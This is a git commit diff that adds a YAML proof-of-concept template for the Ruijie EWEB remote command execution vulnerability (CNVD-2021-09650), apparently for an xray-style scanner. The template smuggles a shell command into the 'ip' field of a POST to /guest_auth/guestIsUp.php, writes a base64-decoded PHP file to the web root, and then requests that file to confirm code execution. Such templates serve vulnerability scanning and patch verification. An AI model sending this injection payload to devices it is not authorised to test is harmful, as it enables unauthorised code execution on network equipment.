优化ip解析模块

2026-09-26 21:21:53 +08:00 · 2021-12-01 15:22:48 +08:00
parent e49e6dd433
commit 4a34745091
21 changed files with 125 additions and 122 deletions
@@ -0,0 +1,23 @@
+name: poc-yaml-ruijie-eweb-rce-cnvd-2021-09650
+set:
+  r1: randomLowercase(4)
+  r2: randomLowercase(4)
+  phpcode: >
+    "<?php echo '" + r1 + "'; unlink(__FILE__); ?>"
+  payload: base64(phpcode)
+rules:
+  - method: POST
+    path: /guest_auth/guestIsUp.php
+    body: |
+      ip=127.0.0.1|echo '{{payload}}' | base64 -d > {{r2}}.php&mac=00-00
+    expression: |
+      response.status == 200
+  - method: GET
+    path: /guest_auth/{{r2}}.php
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(r1))
+detail:
+  author: White(https://github.com/WhiteHSBG)
+  links:
+    - https://xz.aliyun.com/t/9016?page=1
+    - https://www.ruijie.com.cn/gy/xw-aqtg-gw/86747/